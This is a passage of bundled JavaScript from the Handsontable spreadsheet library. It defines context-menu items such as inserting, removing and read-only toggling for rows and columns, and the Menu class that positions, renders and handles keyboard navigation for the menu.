this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_INSERT_LEFT); }, callback: function callback(key, normalizedSelection) { var latestSelection = normalizedSelection[Math.max(normalizedSelection.length - 1, 0)]; this.alter('insert_col', latestSelection.start.col, 1, 'ContextMenu.columnLeft'); }, disabled: function disabled() { var selected = (0, _utils.getValidSelection)(this); if (!selected) { return true; } if (!this.isColumnModificationAllowed()) { return true; } var _selected$ = _slicedToArray(selected[0], 3), startRow = _selected$[0], startColumn = _selected$[1], endRow = _selected$[2]; var entireRowSelection = [startRow, 0, endRow, this.countCols() - 1]; var rowSelected = entireRowSelection.join(',') === selected.join(','); var onlyOneColumn = this.countCols() === 1; return startColumn < 0 || this.countCols() >= this.getSettings().maxCols || !onlyOneColumn && rowSelected; }, hidden: function hidden() { return !this.getSettings().allowInsertColumn; } }; } /***/ }), /* 692 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = columnRightItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } var KEY = 'col_right'; exports.KEY = KEY; function columnRightItem() { return { key: KEY, name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_INSERT_RIGHT); }, callback: function callback(key, normalizedSelection) { var latestSelection = normalizedSelection[Math.max(normalizedSelection.length - 1, 0)]; this.alter('insert_col', latestSelection.end.col + 1, 1, 'ContextMenu.columnRight'); }, disabled: function disabled() { var selected = (0, _utils.getValidSelection)(this); if (!selected) { return true; } if (!this.isColumnModificationAllowed()) { return true; } var _selected$ = _slicedToArray(selected[0], 3), startRow = _selected$[0], startColumn = _selected$[1], endRow = _selected$[2]; var entireRowSelection = [startRow, 0, endRow, this.countCols() - 1]; var rowSelected = entireRowSelection.join(',') === selected.join(','); var onlyOneColumn = this.countCols() === 1; return startColumn < 0 || this.countCols() >= this.getSettings().maxCols || !onlyOneColumn && rowSelected; }, hidden: function hidden() { return !this.getSettings().allowInsertColumn; } }; } /***/ }), /* 693 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = readOnlyItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var _array = __webpack_require__(3); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } var KEY = 'make_read_only'; exports.KEY = KEY; function readOnlyItem() { return { key: KEY, name: function name() { var _this = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_READ_ONLY); var atLeastOneReadOnly = (0, _utils.checkSelectionConsistency)(this.getSelectedRange(), function (row, col) { return _this.getCellMeta(row, col).readOnly; }); if (atLeastOneReadOnly) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { var _this2 = this; var ranges = this.getSelectedRange(); var atLeastOneReadOnly = (0, _utils.checkSelectionConsistency)(ranges, function (row, col) { return _this2.getCellMeta(row, col).readOnly; }); (0, _array.arrayEach)(ranges, function (range) { range.forAll(function (row, col) { _this2.setCellMeta(row, col, 'readOnly', !atLeastOneReadOnly); }); }); this.render(); }, disabled: function disabled() { return !(this.getSelectedRange() && !this.selection.isSelectedByCorner()); } }; } /***/ }), /* 694 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = redoItem; exports.KEY = void 0; var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } var KEY = 'redo'; exports.KEY = KEY; function redoItem() { return { key: KEY, name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_REDO); }, callback: function callback() { this.redo(); }, disabled: function disabled() { return this.undoRedo && !this.undoRedo.isRedoAvailable(); } }; } /***/ }), /* 695 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = removeColumnItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var _utils2 = __webpack_require__(91); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } var KEY = 'remove_col'; exports.KEY = KEY; function removeColumnItem() { return { key: KEY, name: function name() { var selection = this.getSelected(); var pluralForm = 0; if (selection) { if (selection.length > 1) { pluralForm = 1; } else { var _selection$ = _slicedToArray(selection[0], 4), fromColumn = _selection$[1], toColumn = _selection$[3]; if (fromColumn - toColumn !== 0) { pluralForm = 1; } } } return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_REMOVE_COLUMN, pluralForm); }, callback: function callback() { this.alter('remove_col', (0, _utils2.transformSelectionToColumnDistance)(this.getSelected()), null, 'ContextMenu.removeColumn'); }, disabled: function disabled() { var selected = (0, _utils.getValidSelection)(this); var totalColumns = this.countCols(); if (!selected) { return true; } return this.selection.isSelectedByRowHeader() || this.selection.isSelectedByCorner() || !this.isColumnModificationAllowed() || !totalColumns; }, hidden: function hidden() { return !this.getSettings().allowRemoveColumn; } }; } /***/ }), /* 696 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = removeRowItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var _utils2 = __webpack_require__(91); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } var KEY = 'remove_row'; exports.KEY = KEY; function removeRowItem() { return { key: KEY, name: function name() { var selection = this.getSelected(); var pluralForm = 0; if (selection) { if (selection.length > 1) { pluralForm = 1; } else { var _selection$ = _slicedToArray(selection[0], 3), fromRow = _selection$[0], toRow = _selection$[2]; if (fromRow - toRow !== 0) { pluralForm = 1; } } } return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_REMOVE_ROW, pluralForm); }, callback: function callback() { // TODO: Please keep in mind that below `1` may be improper. The table's way of work, before change `f1747b3912ea3b21fe423fd102ca94c87db81379` was restored. // There is still problem when removing more than one row. this.alter('remove_row', (0, _utils2.transformSelectionToRowDistance)(this.getSelected()), 1, 'ContextMenu.removeRow'); }, disabled: function disabled() { var selected = (0, _utils.getValidSelection)(this); var totalRows = this.countRows(); if (!selected) { return true; } return this.selection.isSelectedByColumnHeader() || this.selection.isSelectedByCorner() || !totalRows; }, hidden: function hidden() { return !this.getSettings().allowRemoveRow; } }; } /***/ }), /* 697 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = rowAboveItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } var KEY = 'row_above'; exports.KEY = KEY; function rowAboveItem() { return { key: KEY, name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ROW_ABOVE); }, callback: function callback(key, normalizedSelection) { var latestSelection = normalizedSelection[Math.max(normalizedSelection.length - 1, 0)]; this.alter('insert_row', latestSelection.start.row, 1, 'ContextMenu.rowAbove'); }, disabled: function disabled() { var selected = (0, _utils.getValidSelection)(this); if (!selected) { return true; } return this.selection.isSelectedByColumnHeader() || this.countRows() >= this.getSettings().maxRows; }, hidden: function hidden() { return !this.getSettings().allowInsertRow; } }; } /***/ }), /* 698 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = rowBelowItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } var KEY = 'row_below'; exports.KEY = KEY; function rowBelowItem() { return { key: KEY, name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ROW_BELOW); }, callback: function callback(key, normalizedSelection) { var latestSelection = normalizedSelection[Math.max(normalizedSelection.length - 1, 0)]; this.alter('insert_row', latestSelection.end.row + 1, 1, 'ContextMenu.rowBelow'); }, disabled: function disabled() { var selected = (0, _utils.getValidSelection)(this); if (!selected) { return true; } return this.selection.isSelectedByColumnHeader() || this.countRows() >= this.getSettings().maxRows; }, hidden: function hidden() { return !this.getSettings().allowInsertRow; } }; } /***/ }), /* 699 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = undoItem; exports.KEY = void 0; var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } var KEY = 'undo'; exports.KEY = KEY; function undoItem() { return { key: KEY, name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_UNDO); }, callback: function callback() { this.undo(); }, disabled: function disabled() { return this.undoRedo && !this.undoRedo.isUndoAvailable(); } }; } /***/ }), /* 700 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _core = _interopRequireDefault(__webpack_require__(120)); var _element = __webpack_require__(1); var _array = __webpack_require__(3); var _cursor = _interopRequireDefault(__webpack_require__(701)); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _object = __webpack_require__(2); var _mixed = __webpack_require__(14); var _function = __webpack_require__(59); var _utils = __webpack_require__(30); var _unicode = __webpack_require__(32); var _localHooks = _interopRequireDefault(__webpack_require__(68)); var _predefinedItems = __webpack_require__(127); var _event = __webpack_require__(18); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var MIN_WIDTH = 215; /** * @class Menu * @plugin ContextMenu */ var Menu = /*#__PURE__*/ function () { function Menu(hotInstance, options) { _classCallCheck(this, Menu); this.hot = hotInstance; this.options = options || { parent: null, name: null, className: '', keepInViewport: true, standalone: false, minWidth: MIN_WIDTH }; this.eventManager = new _eventManager.default(this); this.container = this.createContainer(this.options.name); this.hotMenu = null; this.hotSubMenus = {}; this.parentMenu = this.options.parent || null; this.menuItems = null; this.origOutsideClickDeselects = null; this.keyEvent = false; this.offset = { above: 0, below: 0, left: 0, right: 0 }; this._afterScrollCallback = null; this.registerEvents(); } /** * Register event listeners. * * @private */ _createClass(Menu, [{ key: "registerEvents", value: function registerEvents() { var _this = this; this.eventManager.addEventListener(document.documentElement, 'mousedown', function (event) { return _this.onDocumentMouseDown(event); }); } /** * Set array of objects which defines menu items. * * @param {Array} menuItems Menu items to display. */ }, { key: "setMenuItems", value: function setMenuItems(menuItems) { this.menuItems = menuItems; } /** * Set offset menu position for specified area (`above`, `below`, `left` or `right`). * * @param {String} area Specified area name (`above`, `below`, `left` or `right`). * @param {Number} offset Offset value. */ }, { key: "setOffset", value: function setOffset(area) { var offset = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; this.offset[area] = offset; } /** * Check if menu is using as sub-menu. * * @returns {Boolean} */ }, { key: "isSubMenu", value: function isSubMenu() { return this.parentMenu !== null; } /** * Open menu. * * @fires Hooks#beforeContextMenuShow * @fires Hooks#afterContextMenuShow */ }, { key: "open", value: function open() { var _this2 = this; this.runLocalHooks('beforeOpen'); this.container.removeAttribute('style'); this.container.style.display = 'block'; var delayedOpenSubMenu = (0, _function.debounce)(function (row) { return _this2.openSubMenu(row); }, 300); var minWidthOfMenu = this.options.minWidth || MIN_WIDTH; var filteredItems = (0, _array.arrayFilter)(this.menuItems, function (item) { return (0, _utils.isItemHidden)(item, _this2.hot); }); filteredItems = (0, _utils.filterSeparators)(filteredItems, _predefinedItems.SEPARATOR); var settings = { data: filteredItems, colHeaders: false, autoColumnSize: true, modifyColWidth: function modifyColWidth(width) { if ((0, _mixed.isDefined)(width) && width < minWidthOfMenu) { return minWidthOfMenu; } return width; }, autoRowSize: false, readOnly: true, copyPaste: false, columns: [{ data: 'name', renderer: function renderer(hot, TD, row, col, prop, value) { return _this2.menuItemRenderer(hot, TD, row, col, prop, value); } }], renderAllRows: true, fragmentSelection: 'cell', disableVisualSelection: 'area', beforeKeyDown: function beforeKeyDown(event) { return _this2.onBeforeKeyDown(event); }, afterOnCellMouseOver: function afterOnCellMouseOver(event, coords) { if (_this2.isAllSubMenusClosed()) { delayedOpenSubMenu(coords.row); } else { _this2.openSubMenu(coords.row); } }, rowHeights: function rowHeights(row) { return filteredItems[row].name === _predefinedItems.SEPARATOR ? 1 : 23; } }; this.origOutsideClickDeselects = this.hot.getSettings().outsideClickDeselects; this.hot.getSettings().outsideClickDeselects = false; this.hotMenu = new _core.default(this.container, settings); this.hotMenu.addHook('afterInit', function () { return _this2.onAfterInit(); }); this.hotMenu.addHook('afterSelection', function () { return _this2.onAfterSelection.apply(_this2, arguments); }); this.hotMenu.init(); this.hotMenu.listen(); this.blockMainTableCallbacks(); this.runLocalHooks('afterOpen'); } /** * Close menu. * * @param {Boolean} [closeParent=false] if `true` try to close parent menu if exists. */ }, { key: "close", value: function close() { var closeParent = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; if (!this.isOpened()) { return; } if (closeParent && this.parentMenu) { this.parentMenu.close(); } else { this.closeAllSubMenus(); this.container.style.display = 'none'; this.releaseMainTableCallbacks(); this.hotMenu.destroy(); this.hotMenu = null; this.hot.getSettings().outsideClickDeselects = this.origOutsideClickDeselects; this.runLocalHooks('afterClose'); if (this.parentMenu) { this.parentMenu.hotMenu.listen(); } } } /** * Open sub menu at the provided row index. * * @param {Number} row Row index. * @returns {Menu|Boolean} Returns created menu or `false` if no one menu was created. */ }, { key: "openSubMenu", value: function openSubMenu(row) { if (!this.hotMenu) { return false; } var cell = this.hotMenu.getCell(row, 0); this.closeAllSubMenus(); if (!cell || !(0, _utils.hasSubMenu)(cell)) { return false; } var dataItem = this.hotMenu.getSourceDataAtRow(row); var subMenu = new Menu(this.hot, { parent: this, name: dataItem.name, className: this.options.className, keepInViewport: true }); subMenu.setMenuItems(dataItem.submenu.items); subMenu.open(); subMenu.setPosition(cell.getBoundingClientRect()); this.hotSubMenus[dataItem.key] = subMenu; return subMenu; } /** * Close sub menu at row index. * * @param {Number} row Row index. */ }, { key: "closeSubMenu", value: function closeSubMenu(row) { var dataItem = this.hotMenu.getSourceDataAtRow(row); var menus = this.hotSubMenus[dataItem.key]; if (menus) { menus.destroy(); delete this.hotSubMenus[dataItem.key]; } } /** * Close all opened sub menus. */ }, { key: "closeAllSubMenus", value: function closeAllSubMenus() { var _this3 = this; (0, _array.arrayEach)(this.hotMenu.getData(), function (value, row) { return _this3.closeSubMenu(row); }); } /** * Checks if all created and opened sub menus are closed. * * @returns {Boolean} */ }, { key: "isAllSubMenusClosed", value: function isAllSubMenusClosed() { return Object.keys(this.hotSubMenus).length === 0; } /** * Destroy instance. */ }, { key: "destroy", value: function destroy() { this.clearLocalHooks(); this.close(); this.parentMenu = null; this.eventManager.destroy(); } /** * Checks if menu was opened. * * @returns {Boolean} Returns `true` if menu was opened. */ }, { key: "isOpened", value: function isOpened() { return this.hotMenu !== null; } /** * Execute menu command. * * @param {Event} [event] */ }, { key: "executeCommand", value: function executeCommand(event) { if (!this.isOpened() || !this.hotMenu.getSelectedLast()) { return; } var selectedItem = this.hotMenu.getSourceDataAtRow(this.hotMenu.getSelectedLast()[0]); this.runLocalHooks('select', selectedItem, event); if (selectedItem.isCommand === false || selectedItem.name === _predefinedItems.SEPARATOR) { return; } var selRanges = this.hot.getSelectedRange(); var normalizedSelection = selRanges ? (0, _utils.normalizeSelection)(selRanges) : []; var autoClose = true; // Don't close context menu if item is disabled or it has submenu if (selectedItem.disabled === true || typeof selectedItem.disabled === 'function' && selectedItem.disabled.call(this.hot) === true || selectedItem.submenu) { autoClose = false; } this.runLocalHooks('executeCommand', selectedItem.key, normalizedSelection, event); if (this.isSubMenu()) { this.parentMenu.runLocalHooks('executeCommand', selectedItem.key, normalizedSelection, event); } if (autoClose) { this.close(true); } } /** * Set menu position based on dom event or based on literal object. * * @param {Event|Object} coords Event or literal Object with coordinates. */ }, { key: "setPosition", value: function setPosition(coords) { var cursor = new _cursor.default(coords); if (this.options.keepInViewport) { if (cursor.fitsBelow(this.container)) { this.setPositionBelowCursor(cursor); } else if (cursor.fitsAbove(this.container)) { this.setPositionAboveCursor(cursor); } else { this.setPositionBelowCursor(cursor); } if (cursor.fitsOnRight(this.container)) { this.setPositionOnRightOfCursor(cursor); } else { this.setPositionOnLeftOfCursor(cursor); } } else { this.setPositionBelowCursor(cursor); this.setPositionOnRightOfCursor(cursor); } } /** * Set menu position above cursor object. * * @param {Cursor} cursor `Cursor` object. */ }, { key: "setPositionAboveCursor", value: function setPositionAboveCursor(cursor) { var top = this.offset.above + cursor.top - this.container.offsetHeight; if (this.isSubMenu()) { top = cursor.top + cursor.cellHeight - this.container.offsetHeight + 3; } this.container.style.top = "".concat(top, "px"); } /** * Set menu position below cursor object. * * @param {Cursor} cursor `Cursor` object. */ }, { key: "setPositionBelowCursor", value: function setPositionBelowCursor(cursor) { var top = this.offset.below + cursor.top; if (this.isSubMenu()) { top = cursor.top - 1; } this.container.style.top = "".concat(top, "px"); } /** * Set menu position on the right of cursor object. * * @param {Cursor} cursor `Cursor` object. */ }, { key: "setPositionOnRightOfCursor", value: function setPositionOnRightOfCursor(cursor) { var left; if (this.isSubMenu()) { left = 1 + cursor.left + cursor.cellWidth; } else { left = this.offset.right + 1 + cursor.left; } this.container.style.left = "".concat(left, "px"); } /** * Set menu position on the left of cursor object. * * @param {Cursor} cursor `Cursor` object. */ }, { key: "setPositionOnLeftOfCursor", value: function setPositionOnLeftOfCursor(cursor) { var left = this.offset.left + cursor.left - this.container.offsetWidth + (0, _element.getScrollbarWidth)() + 4; this.container.style.left = "".concat(left, "px"); } /** * Select first cell in opened menu. */ }, { key: "selectFirstCell", value: function selectFirstCell() { var cell = this.hotMenu.getCell(0, 0); if ((0, _utils.isSeparator)(cell) || (0, _utils.isDisabled)(cell) || (0, _utils.isSelectionDisabled)(cell)) { this.selectNextCell(0, 0); } else { this.hotMenu.selectCell(0, 0); } } /** * Select last cell in opened menu. */ }, { key: "selectLastCell", value: function selectLastCell() { var lastRow = this.hotMenu.countRows() - 1; var cell = this.hotMenu.getCell(lastRow, 0); if ((0, _utils.isSeparator)(cell) || (0, _utils.isDisabled)(cell) || (0, _utils.isSelectionDisabled)(cell)) { this.selectPrevCell(lastRow, 0); } else { this.hotMenu.selectCell(lastRow, 0); } } /** * Select next cell in opened menu. * * @param {Number} row Row index. * @param {Number} col Column index. */ }, { key: "selectNextCell", value: function selectNextCell(row, col) { var nextRow = row + 1; var cell = nextRow < this.hotMenu.countRows() ? this.hotMenu.getCell(nextRow, col) : null; if (!cell) { return; } if ((0, _utils.isSeparator)(cell) || (0, _utils.isDisabled)(cell) || (0, _utils.isSelectionDisabled)(cell)) { this.selectNextCell(nextRow, col); } else { this.hotMenu.selectCell(nextRow, col); } } /** * Select previous cell in opened menu. * * @param {Number} row Row index. * @param {Number} col Column index. */ }, { key: "selectPrevCell", value: function selectPrevCell(row, col) { var prevRow = row - 1; var cell = prevRow >= 0 ? this.hotMenu.getCell(prevRow, col) : null; if (!cell) { return; } if ((0, _utils.isSeparator)(cell) || (0, _utils.isDisabled)(cell) || (0, _utils.isSelectionDisabled)(cell)) { this.selectPrevCell(prevRow, col); } else { this.hotMenu.selectCell(prevRow, col); } } /** * Menu item renderer. * * @private */ }, { key: "menuItemRenderer", value: function menuItemRenderer(hot, TD, row, col, prop, value) { var _this4 = this; var item = hot.getSourceDataAtRow(row); var wrapper = document.createElement('div'); var isSubMenu = function isSubMenu(itemToTest) { return (0, _object.hasOwnProperty)(itemToTest, 'submenu'); }; var itemIsSeparator = function itemIsSeparator(itemToTest) { return new RegExp(_predefinedItems.SEPARATOR, 'i').test(itemToTest.name); }; var itemIsDisabled = function itemIsDisabled(itemToTest) { return itemToTest.disabled === true || typeof itemToTest.disabled === 'function' && itemToTest.disabled.call(_this4.hot) === true; }; var itemIsSelectionDisabled = function itemIsSelectionDisabled(itemToTest) { return itemToTest.disableSelection; }; var itemValue = value; if (typeof itemValue === 'function') { itemValue = itemValue.call(this.hot); } (0, _element.empty)(TD); (0, _element.addClass)(wrapper, 'htItemWrapper'); TD.appendChild(wrapper); if (itemIsSeparator(item)) { (0, _element.addClass)(TD, 'htSeparator'); } else if (typeof item.renderer === 'function') { (0, _element.addClass)(TD, 'htCustomMenuRenderer'); TD.appendChild(item.renderer(hot, wrapper, row, col, prop, itemValue)); } else { (0, _element.fastInnerHTML)(wrapper, itemValue); } if (itemIsDisabled(item)) { (0, _element.addClass)(TD, 'htDisabled'); this.eventManager.addEventListener(TD, 'mouseenter', function () { return hot.deselectCell(); }); } else if (itemIsSelectionDisabled(item)) { (0, _element.addClass)(TD, 'htSelectionDisabled'); this.eventManager.addEventListener(TD, 'mouseenter', function () { return hot.deselectCell(); }); } else if (isSubMenu(item)) { (0, _element.addClass)(TD, 'htSubmenu'); if (itemIsSelectionDisabled(item)) { this.eventManager.addEventListener(TD, 'mouseenter', function () { return hot.deselectCell(); }); } else { this.eventManager.addEventListener(TD, 'mouseenter', function () { return hot.selectCell(row, col, void 0, void 0, false, false); }); } } else { (0, _element.removeClass)(TD, 'htSubmenu'); (0, _element.removeClass)(TD, 'htDisabled'); if (itemIsSelectionDisabled(item)) { this.eventManager.addEventListener(TD, 'mouseenter', function () { return hot.deselectCell(); }); } else { this.eventManager.addEventListener(TD, 'mouseenter', function () { return hot.selectCell(row, col, void 0, void 0, false, false); }); } } } /** * Create container/wrapper for handsontable. * * @private * @param {String} [name] Class name. * @returns {HTMLElement} */ }, { key: "createContainer", value: function createContainer() { var name = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var className = name; var container; if (className) { if ((0, _function.isFunction)(className)) { className = className.call(this.hot); if (className === null || (0, _mixed.isUndefined)(className)) { className = ''; } else { className = className.toString(); } } className = className.replace(/[^A-z0-9]/g, '_'); className = "".concat(this.options.className, "Sub_").concat(className); container = document.querySelector(".".concat(this.options.className, ".").concat(className)); } else { container = document.querySelector(".".concat(this.options.className)); } if (!container) { container = document.createElement('div'); (0, _element.addClass)(container, "htMenu ".concat(this.options.className)); if (className) { (0, _element.addClass)(container, className); } document.getElementsByTagName('body')[0].appendChild(container); } return container; } /** * @private */ }, { key: "blockMainTableCallbacks", value: function blockMainTableCallbacks() { this._afterScrollCallback = function () {}; this.hot.addHook('afterScrollVertically', this._afterScrollCallback); this.hot.addHook('afterScrollHorizontally', this._afterScrollCallback); } /** * @private */ }, { key: "releaseMainTableCallbacks", value: function releaseMainTableCallbacks() { if (this._afterScrollCallback) { this.hot.removeHook('afterScrollVertically', this._afterScrollCallback); this.hot.removeHook('afterScrollHorizontally', this._afterScrollCallback); this._afterScrollCallback = null; } } /** * On before key down listener. * * @private * @param {Event} event */ }, { key: "onBeforeKeyDown", value: function onBeforeKeyDown(event) { var selection = this.hotMenu.getSelectedLast(); var stopEvent = false; this.keyEvent = true; switch (event.keyCode) { case _unicode.KEY_CODES.ESCAPE: this.close(); stopEvent = true; break; case _unicode.KEY_CODES.ENTER: if (selection) { if (this.hotMenu.getSourceDataAtRow(selection[0]).submenu) { stopEvent = true; } else { this.executeCommand(event); this.close(true); } } break; case _unicode.KEY_CODES.ARROW_DOWN: if (selection) { this.selectNextCell(selection[0], selection[1]); } else { this.selectFirstCell(); } stopEvent = true; break; case _unicode.KEY_CODES.ARROW_UP: if (selection) { this.selectPrevCell(selection[0], selection[1]); } else { this.selectLastCell(); } stopEvent = true; break; case _unicode.KEY_CODES.ARROW_RIGHT: if (selection) { var menu = this.openSubMenu(selection[0]); if (menu) { menu.selectFirstCell(); } } stopEvent = true; break; case _unicode.KEY_CODES.ARROW_LEFT: if (selection && this.isSubMenu()) { this.close(); if (this.parentMenu) { this.parentMenu.hotMenu.listen(); } stopEvent = true; } break; default: break; } if (stopEvent) { event.preventDefault(); (0, _event.stopImmediatePropagation)(event); } this.keyEvent = false; } /** * On after init listener. * * @private */ }, { key: "onAfterInit", value: function onAfterInit() { var data = this.hotMenu.getSettings().data; var hiderStyle = this.hotMenu.view.wt.wtTable.hider.style; var holderStyle = this.hotMenu.view.wt.wtTable.holder.style; var currentHiderWidth = parseInt(hiderStyle.width, 10); var realHeight = (0, _array.arrayReduce)(data, function (accumulator, value) { return accumulator + (value.name === _predefinedItems.SEPARATOR ? 1 : 26); }, 0); holderStyle.width = "".concat(currentHiderWidth + 22, "px"); holderStyle.height = "".concat(realHeight + 4, "px"); hiderStyle.height = holderStyle.height; } /** * On after selection listener. * * @param {Number} r Selection start row index. * @param {Number} c Selection start column index. * @param {Number} r2 Selection end row index. * @param {Number} c2 Selection end column index. * @param {Object} preventScrolling Object with `value` property where its value change will be observed. * @param {Number} 